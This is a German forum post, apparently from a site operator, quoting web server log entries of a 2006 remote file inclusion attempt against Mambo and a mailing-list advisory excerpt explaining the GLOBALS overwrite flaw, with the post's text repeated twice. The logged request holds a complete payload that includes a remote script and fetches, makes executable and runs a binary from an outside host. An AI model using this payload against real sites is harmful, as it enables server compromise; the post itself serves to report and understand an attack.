Tweet
Auszug aus dem Logfile:
64.195.0.160 - - [05/Mar/2006:04:40:39 +0100] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://219.00.000.00/cmd.gif?&cmd=cd%20/tmp;wget%20219.00.000.00/supina;chmod%20744%20supina;./supina;echo%20YYY;echo| HTTP/1.1" 404 403
(und ähnliche Einträge)
64.195.0.160 - - [05/Mar/2006:04:40:47 +0100] "POST /xmlrpc.php HTTP/1.1" 404 403
64.195.0.160 - - [05/Mar/2006:04:40:48 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 403
Auszug aus (Quelle: http://www.derkeiler.com/Mailing-Lis...5-11/0535.html):
a vulnerability exist in globals.php when register_globals is off and allow
remote code inclusion
this a GLOBALS overwrite
in components/com_content/content.html.php
there is the line:
require_once( $GLOBALS['mosConfig_absolute_path'] .
'/includes/HTML_toolbar.php' );
ok
da globals.php:
if (!ini_get('register_globals')) {
while(list($key,$value)=each($_FILES)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_ENV)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_COOKIE)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_SERVER)) $GLOBALS[$key]=$value;
while(list($key,$value)=@each($_SESSION)) $GLOBALS[$key]=$value;
foreach($_FILES as $key => $value){
$GLOBALS[$key]=$_FILES[$key]['tmp_name'];
foreach($value as $ext => $value2){
$key2 = $key . '_' . $ext;
$GLOBALS[$key2] = $value2;
}
}
}
da fake protect in mambo.php:
if (in_array( 'globals', array_keys( array_change_key_case( $_REQUEST,
CASE_LOWER ) ) ) ) {
die( 'Fatal error. Global variable hack attempted.' );
}
if (in_array( '_post', array_keys( array_change_key_case( $_REQUEST,
CASE_LOWER ) ) ) ) {
die( 'Fatal error. Post variable hack attempted.' );
}
Eigentlich gibt'z dazu keine Frage,
höchstens ob save_mode=On schützen würde.
64.195.0.160 - - [05/Mar/2006:04:40:39 +0100] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://219.00.000.00/cmd.gif?&cmd=cd%20/tmp;wget%20219.00.000.00/supina;chmod%20744%20supina;./supina;echo%20YYY;echo| HTTP/1.1" 404 403
(und ähnliche Einträge)
64.195.0.160 - - [05/Mar/2006:04:40:47 +0100] "POST /xmlrpc.php HTTP/1.1" 404 403
64.195.0.160 - - [05/Mar/2006:04:40:48 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 403
Auszug aus (Quelle: http://www.derkeiler.com/Mailing-Lis...5-11/0535.html):
a vulnerability exist in globals.php when register_globals is off and allow
remote code inclusion
this a GLOBALS overwrite
in components/com_content/content.html.php
there is the line:
require_once( $GLOBALS['mosConfig_absolute_path'] .
'/includes/HTML_toolbar.php' );
ok
da globals.php:
if (!ini_get('register_globals')) {
while(list($key,$value)=each($_FILES)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_ENV)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_COOKIE)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_SERVER)) $GLOBALS[$key]=$value;
while(list($key,$value)=@each($_SESSION)) $GLOBALS[$key]=$value;
foreach($_FILES as $key => $value){
$GLOBALS[$key]=$_FILES[$key]['tmp_name'];
foreach($value as $ext => $value2){
$key2 = $key . '_' . $ext;
$GLOBALS[$key2] = $value2;
}
}
}
da fake protect in mambo.php:
if (in_array( 'globals', array_keys( array_change_key_case( $_REQUEST,
CASE_LOWER ) ) ) ) {
die( 'Fatal error. Global variable hack attempted.' );
}
if (in_array( '_post', array_keys( array_change_key_case( $_REQUEST,
CASE_LOWER ) ) ) ) {
die( 'Fatal error. Post variable hack attempted.' );
}
Eigentlich gibt'z dazu keine Frage,
höchstens ob save_mode=On schützen würde.
Moderator
Kommentar